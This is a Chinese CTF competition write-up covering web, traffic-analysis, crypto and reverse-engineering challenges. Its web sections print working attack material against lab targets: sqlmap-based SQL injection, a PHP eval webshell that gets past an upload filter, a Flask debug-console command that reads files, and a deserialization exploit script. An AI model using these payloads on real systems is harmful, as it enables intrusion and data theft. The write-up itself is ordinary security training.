2023年江西省“振兴杯”网络信息行业(信息安全测试员)职业技能竞赛 Write UP

news2025/4/14 7:35:21

文章目录

    • 一、2023csy-web1
    • 二、2023csy-web2
    • 三、2023csy-web3
    • 四、2023csy-web4
    • 五、2023csy-misc1
    • 六、2023csy-misc2
    • 七、2023csy-crypto1
    • 八、2023csy-re1

请添加图片描述


一、2023csy-web1

该题提供一个web靶场,《伟大的挑战者》,分值:5分

在这里插入图片描述
web页面一直在播放cavas 动画,显示字体内容为:TEXTArray = [“你”, “永远”, “也”, “看不见”, “我”, “站在”, “窗边”, “最难过”, “的样子”, “因为”, “你”, “知道的”, “在”, “所有”, “看不见”, “你的”, “时候”, “才是”, “最”, “难”, “过”, “的”, “我”, “爱”, “你”]; F12 查看源代码,全局搜索未发现与flag相关的逻辑代码:

在这里插入图片描述

使用 dirsearch 进行目录扫描发现存在 git 泄露

在这里插入图片描述使用 git_extract.py 工具获取git仓库内容,发现 importtant.txt 存在flag:
在这里插入图片描述


二、2023csy-web2

题目提供了一下小蔡博客网站,分值: 8分

在这里插入图片描述
发现网站的注册用户名存在xss漏洞,搞个接码平台看是否能获得管理员的cookie, 可能flag在管理员用户界面里,但是半天解码平台平台没反应,此路不通。使用 dirsearch 进行目录扫描发现 admin/login 以及 src/search.php 路径,发现搜索界面存在sql注入,使用sqlmap进行利用,获得用户名账号和密码:

在这里插入图片描述登录管理员端,存在 /admin/edit.php 路径,可进行文件上传,直接上传一句话木马php会被拦截,如下绕过:
在这里插入图片描述<script language="pHp">@eval($_POST['x'])</script>
使用蚂剑进行连接,发现flag:
在这里插入图片描述


三、2023csy-web3

题目给出 /source 存在一段 python flask 代码
在这里插入图片描述

查看源代码,我们可以看到web服务多个路径。还有一个/get_file路径:

@app.route('/get_file/<path:name>')
def get_file(name):
   return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)

因此,如果我们分析代码,我们会发现两件事,第一件事是应用程序日志被写入/tmp/app中的文件,这也是
**/get_file端点中使用的同一目录。

app.config['FILES_FOLDER'] = '/tmp/app'
logging.basicConfig(filename='/tmp/app/app.log', level=logging.DEBUG, format=f'%
(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')

这样我们就能够获取应用程序日志,但是我们能用它做什么呢?这就是第二个配置错误出现的地方,调试模式已
打开:

if __name__ == '__main__':
   app.run(host='0.0.0.0', port=8000, debug=True)

说明该网站Flask开启debug模式,相当于给hacker留了后门。但我们需要 PIN 码才能访问它,该 PIN 码会在应用程序启动时写入日志。因此,我们需要获取app.log文件并获取将写入其中的控制台 PIN。

要获取日志文件,我们可以使用/get_file路径 http://**/get_file/app.log。在那里我们可以找到控制台的 PIN 码。进入控制台后,我们只需要找到该标志并读取其内容即可。

在这里插入图片描述然后进入后台 http://**/console, 输入:__import__('os').popen('cat /flag').read()

在这里插入图片描述


四、2023csy-web4

题目提供如下PHP源代码,分值:10分

在这里插入图片描述
审计以上代码可以得出两个知识点:hash_hmac绕过 + 反序列化 + 匿名函数爆破。先看 hash_hmac 绕过,代码可以分离成如下:

	$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
	$hmac = hash_hmac('sha256', $_GET['password'], $secret);
	if ($_GET['mac'] === $hmac) {
    	show_source("/flag");
	}

当我们给 hash_hmac 第二个参数传递的值为数组的时候,会返回 false。这时 secret 的值我们就可以控制为 false。

在这里插入图片描述
故 payload 为:salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523
再看反序列化,代码可以分离成如下:

class Bird {
    public $funcs;
    public $salt;
    public $flag;

    function say_flag() {
    	echo "输出flag";
    }
    function __destruct() {
        $self_func = $this->funcs;
        $self_func();
    }
}
unserialize($_GET['d']);

代码段中存在魔法函数 __destruct,在对象的所有引用都被删除时或者对象被显式销毁时调用,当对象被销毁时自动调用。要想执行 say_flag() 函数,那就要 __destruct() 函数中的 funcs 下手,序列化代码如下:

<?php
class Bird{
    public $funcs=['Bird','say_flag'];
    public $salt;
    public $flag;

    function say_flag(){
       echo "输出flag";
    }
    function __destruct(){
        $self_func=$this->funcs;
        $self_func();
    }
}
$s = new Bird();
echo serialize($d);

在这里插入图片描述

在 PHP 中,类名可以作为字符串被调用,如果类名是当前命名空间的一部分,也可以省略命名空间。这意味着 $this->funcs 中的字符串 ‘Bird’ 在这个上下文中等同于 Bird::。因此,‘Bird’, ‘say_flag’ 实际上等同于 Bird::say_flag()。

故payload为:d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}。再看匿名函数,代码可以分离成如下:

if (isset($_GET['p'])) {
    $funcs = create_function("", "unserialize(\$_GET['d']);");
    $_GET['p']();
} else {
    show_source(__FILE__);
}

其实我们只要执行$funcs就可以了,但是我们不知道这个函数的名称,是一个匿名函数。

create_function() 匿名函数爆破漏洞,它create之后会自动生成一个函数名为 %00lambda_%d。%d这个值是一直递增的,这里的%d会一直递增到最大长度直到结束,这里可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1。

把上述payload组合到一起,编写 exp 如下:

import requests

url='http://localhost/zxb-csy-web4.php?salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523&d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}&p=%00lambda_1'

while True:
    r = requests.get(url).text
    if 'Call to undefined function' not in r:
        print(r)
        break

最终解得flag如下:

在这里插入图片描述


五、2023csy-misc1

hacker盗取了敏感信息,分析hacker流量,找到敏感信息。提供 data.pcapng 流量包。分值:5分

查看流量包主要有 TCP、UDP、HTTP 协议,hacker盗取敏感信息大概率是 HTTP 或者 TCP。UDP 几乎没见过,先排除。优先分析 HTTP 流量,如下查看 HTTP 请求序列:

在这里插入图片描述
在这里插入图片描述
看到可疑请求路径 /hack.php, 输入过滤命令:http contains "hack.php"

在这里插入图片描述
http流跟踪发现 f14444444g.php :

在这里插入图片描述
筛选含有 f14444444g.php 的流量包, http contains "f14444444g.php"

在这里插入图片描述
依次查看发现可疑字符串,Base64 解码得到flag:

在这里插入图片描述


六、2023csy-misc2

提供一个流量包 pack.pcapng,找出 flag, 题目未提供提示。分值:8分

wireshark 打开发现很多 dns 协议数据包,而且存在 Base 字眼:

在这里插入图片描述直接使用kali 里面 tshark 命令筛选分离:tshark -r pack.pcapng -Y "dns" -T fields -e dns.qry.name | grep base > dns.txt

在这里插入图片描述
拿去 vscode 快速去重处理得:

在这里插入图片描述
base64 解密得flag:
在这里插入图片描述


七、2023csy-crypto1

根据题目得知为移位的异或, 编写python脚本:

enc = open('flag.enc', 'rb').read()
enc = list(enc)
print(enc)

key = 'zxb'
flag = [0] * len(enc)
print(len(flag))
flag[-1] = ord('}')
for i in range(len(flag)-2, -1, -1):
    flag[i] = flag[i+1] ^ enc[i] ^ ord(key[i%3])
print(bytes(flag))

在这里插入图片描述


八、2023csy-re1

提供一个 fake.exe 文件,逆向分析获得flag。分值:8分

先查看 PE:
在这里插入图片描述
64位程序,使用 ida64 打开,f5 查看伪代码:

在这里插入图片描述
这段代码是一个简单的文件读取和处理程序,它从文件 “flag.txt” 读取 0x13(19)字节的数据,然后进行异或操作,并检查结果是否与某个预定义的字符串 Str2 相匹配。要反推出 “flag.txt” 的内容,在这里,*(&Str1 + i) = i ^ *((_BYTE *)Buffer + i); 表示将文件中每个字节与索引进行异或运算,并将结果存储在 Str1 中。要得到 flag.txt 的内容,您可以创建一个相反的异或操作,将 Str1 中的每个字节与相应的索引再次进行异或。在 ida 里面找到 str2 为:S[]1475XRQUHY]QIQZW

在这里插入图片描述编写脚本:

# 已知的str2值
str2 = "S[]1475XRQUHY]QIQZW"

# 解码函数,根据异或的性质:如果 a ^ b = c 那么 a ^ c = b 以及 b ^ c = a
def decode(encoded_str):
    # 将str2转化为byte array方便进行异或操作
    encoded_bytes = bytearray(encoded_str, 'utf-8')
    # 初始化str1
    str1 = bytearray(len(encoded_bytes))

    # 按照C程序中的流程反向执行异或操作
    for i in range(len(encoded_bytes)):
        # 因为之前是i和字符异或,所以逆运算也是i和字符异或
        str1[i] = i ^ encoded_bytes[i]
    
    # 转换回字符串形式
    return str1.decode('utf-8')

# 使用定义好的decode函数解码str2
decoded_str1 = decode(str2)
print(f"Decoded str1: {decoded_str1}")

得到 flag 为:
在这里插入图片描述但是提交发现一直错误,难道这是陷阱? 查看函数列表发现 TLS 回调函数

代码逆向分析领域中,TLS(Thread Local Storage,线程局部存储)回调函数(Callback Function)常用反调试。TLS回调函数的调用运行要先于EP代码的执行,该特征使它可以作为一种反调试技术的使用。

在这里插入图片描述

查看 TlsCallback_0 函数:

在这里插入图片描述从代码能看出一直在跟 loc_140003000 函数做处理,怀疑是 SMC 自解密技术。

1、SMC,即Self Modifying Code,动态代码加密技术,指通过修改代码或数据,阻止别人直接静态分析,然后在动态运行程序时对代码进行解密,达到程序正常运行的效果。
2、SMC的实现方式有很多种,可以通过修改PE文件的Section Header、使用API Hook实现代码加密和解密、使用VMProtect等第三方加密工具等。
3、SMC一般有俩种破解方法,第一种是找到对代码或数据加密的函数后通过idapython写解密脚本。第二种是动态调试到SMC解密结束的地方dump出来。
在这里插入图片描述

在 return result 打断点,进行动态调试:

在这里插入图片描述卡在 52行,smc 自解密已经完成,直接进入 loc_140003000 函数,U、C、P, F5 一把梭查看到真实代码:

在这里插入图片描述编写 python 脚本如下:

def reverse_function(a1, a2):
    return ~a2 & ~a1

v25 = [-83, -91, -93, -49, -52, -55, -53, -88, -82, -81, -85, -72, -89, -93, -81, -88, -89, -95, -51]
v12 = [0] * 32
arr = [0] * 19

for i in range(19):
    for j in range(200):
        v16 = reverse_function(j, i)
        v17 = reverse_function(i, i)
        v1 = j
        v18 = v1
        v2 = reverse_function(v1, v1)
        v3 = reverse_function(v2, v17)
        v19 = reverse_function(v3, v16) - 1
        v20 = reverse_function(j, i)
        v21 = reverse_function(i, i)
        v4 = j
        v22 = v4
        v5 = reverse_function(v4, v4)
        v6 = reverse_function(v5, v21)
        v7 = reverse_function(v6, v20)
        v12[i] = reverse_function((v7 - 1), v19)
        if v12[i] == v25[i]:
            arr[i] = j

# Convert arr to string and print
result_str = ''.join(chr(x) for x in arr)
print(result_str)

在这里插入图片描述最终flag{SZ_2023_ZX_CUP_WIN!} 为正确答案。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1296546.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

nodejs+vue+微信小程序+python+PHP的智能停车系统-计算机毕业设计推荐django

随着网络技术的不断发展&#xff0c;多媒体技术应用渐渐的出现在教育领域中&#xff0c;智能停车算法研究管理已经成为社会的一个热门话题。互联网应用在全球范围内日益普及&#xff0c;在许多的网络服务中&#xff0c;Web给人耳目一新的感觉。在这其中&#xff0c;网络平台开展…

unity 2d 入门 飞翔小鸟 小鸟碰撞 及死亡(九)

1、给地面&#xff0c;柱体这种添加2d盒装碰撞器&#xff0c;小鸟移动碰到就不会动了 2、修改小鸟的脚本&#xff08;脚本命名不规范&#xff0c;不要在意&#xff09; using System.Collections; using System.Collections.Generic; using UnityEngine;public class Fly : Mo…

【hugging face】bitsandbytes中8 bit量化的理解

8 位量化使数十亿参数规模的模型能够适应更小的硬件&#xff0c;而不会降低性能。 8 位量化的工作原理如下&#xff1a; 1.从输入隐藏状态中按列提取较大值&#xff08;离群值&#xff09;。 2.对 FP16 中的离群值和 int8 中的非离群值执行矩阵乘法。 3.改变非异常值结果以将值…

SAP UI5 walkthrough step6 Modules

在SAPUI5 中&#xff0c;资源通常用作Modules&#xff0c;这个我们将用Message Toast 来实现告警功能 修改controller.js webapp/controller/App.controller.js sap.ui.define(["sap/ui/core/mvc/Controller","sap/m/MessageToast" ], (Controller, Mes…

running小程序重要技术流程文档

一、项目文件说明&#xff1a; &#xff08;注&#xff1a;getMyMoney无用已删除&#xff09; 二、重要文件介绍 1.reinfo.js&#xff1a;位于utils文件下&#xff0c;该文件封装有统一的请求URL&#xff0c;和请求API同意封装供页面调用&#xff1b;调用时候需要在页面上先…

算法Day26 数位统计

数位统计 Description 给你一个整数n&#xff0c;统计并返回各位数字都不同的数字x的个数&#xff0c;其中0 ≤ x < 10^n。 Input 输入整数n 0≤n≤13 Output 输出整数个数 Sample 代码 import java.util.Scanner;public class Main {public static void main(String[] ar…

鸿蒙方舟开发框架ArkUI简介

语雀知识库地址&#xff1a;语雀HarmonyOS知识库 飞书知识库地址&#xff1a;飞书HarmonyOS知识库 嗨&#xff0c;各位别来无恙呐&#xff0c;我是小白 众所周知&#xff0c;华为在今年推出了 HarmonyOS 4.0 版本&#xff0c;而在此之前的版本中&#xff0c;HarmonyOS 应用的 …

TCP一对一聊天

客户端 import java.awt.BorderLayout; import java.awt.Color; import java.awt.Dimension; import java.awt.Font; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; import java.io.BufferedReader; import java.io.IOException; import java.io…

【web安全】文件读取与下载漏洞

前言 菜某整理仅供学习&#xff0c;有误请赐教。 概念 个人理解&#xff1a;就是我们下载一个文件会传入一个参数&#xff0c;但是我们可以修改参数&#xff0c;让他下载其他的文件。因为是下载文件&#xff0c;所以我们可以看到文件里面的源码&#xff0c;内容。 文件读取…

MindOpt APL:一款适合优化问题数学建模的编程语言

什么是建模语言 建模语言是一种描述信息或模型的编程语言&#xff0c;在运筹优化领域&#xff0c;一般是指代数建模语言。 比如要写一个线性规划问题的建模和求解&#xff0c;可以采用C、Python、Java等通用编程语言来实现计算机编程&#xff08;码代码&#xff09;&#xff0…

JavaScript常用技巧专题一

文章目录 一、前言二、生成随机颜色的两种方式2.1、生成RandomHexColor2.2、生成随机RGBA 三、复制内容到剪贴板的两种方式3.1、方式13.2、方式2 四、获取URL中的查询参数五、打乱数组六、深拷贝一个对象七、确保元素在可见区域内八、获取当前选中的文本九、浏览器cookie9.1、获…

深入了解数据库锁:类型、应用和最佳实践

目录 1. 引言 2. 数据库锁的基本概念 2.1 悲观锁和乐观锁 2.2 排他锁和共享锁 3. 悲观锁的应用场景 3.1 长事务和大事务 3.2 并发修改 3.3 数据库死锁 4. 悲观锁的最佳实践 4.1 精细控制锁的粒度 4.2 避免死锁 4.3 考虑乐观锁 5. 案例分析 5.1 银行系统的转账操作…

搭乘“低代码”快车,引领食品行业数字化转型全新升级

数字化技术作为重塑传统行业重要的力量&#xff0c;正以不可逆转的趋势改变着企业经营与客户消费的方式。 在近些年的企业数字化服务与交流过程中&#xff0c;织信团队切实感受到大多数企业经营者们从怀疑到犹豫再到焦虑最终转为坚定的态度转变。 在这场数字化转型的竞赛中&a…

Could not resolve all dependencies for configuration ‘:app:androidApis‘.

android studio出现Could not resolve all dependencies for configuration ‘:app:androidApis’. 试过很多种方法&#xff0c;但是都不好使&#xff0c;不管怎么样都是提示如下报错&#xff1a; Using insecure protocols with repositories, without explicit opt-in, is un…

Unity中Batching优化的GPU实例化整理总结

文章目录 前言一、GPU Instancing的支持1、硬件支持2、Shader支持3、脚本支持 二、我们来顺着理一下GPU实例化的使用步骤1、GPU实例化前的C#代码准备2、在 appdata 和 v2f 中定义GPU实例化ID3、在顶点着色 和 片元着色器 设置GPU Instance ID&#xff0c;使实例化对象顶点位置正…

RK3588平台开发系列讲解(hardware)reference-ril源码分析

平台内核版本安卓版本RK3588Linux 5.10Android 12文章目录 一、reference-ril目录介绍二、支持的功能三、Android RIL 框架沉淀、分享、成长,让自己和他人都能有所收获!😄 一、reference-ril目录介绍 目录:3588-android12/hardware/ril/reference-ril

做数据分析为何要学统计学(5)——什么问题适合使用t检验?

t检验&#xff08;Students t test&#xff09;&#xff0c;主要依靠总体正态分布的小样本&#xff08;例如n < 30&#xff09;对总体均值水平进行差异性判断。 t检验要求样本不能超过两组&#xff0c;且每组样本总体服从正态分布&#xff08;对于三组以上样本的&#xff0…

降维技术——PCA、LCA 和 SVD

一、说明 降维在数据分析和机器学习中发挥着关键作用&#xff0c;为高维数据集带来的挑战提供了战略解决方案。随着数据集规模和复杂性的增长&#xff0c;特征或维度的数量通常变得难以处理&#xff0c;导致计算需求增加、潜在的过度拟合和模型可解释性降低。降维技术通过捕获数…

Docker, Docker-compose部署Sonarqube

参考文档 镜像地址: https://hub.docker.com/_/sonarqube/tags Docker部署文档地址 Installing from Docker | SonarQube Docs Docker-compose文档部署地址&#xff1a; Installing from Docker | SonarQube Docs 部署镜像 2.1 docker部署 # 宿主机执行 $. vi /etc/sysctl.conf…

log4j(日志的配置)

日志一般配置在resources的config下面的&#xff0c;并且Util当中的initLogRecord中的initLog&#xff08;&#xff09;方法就是加载这个log4j.properties的. 首先先看log4j.properties的配置文件 log4j.rootLoggerdebug, stdout, Rlog4j.appender.stdoutorg.apache.log4j.Co…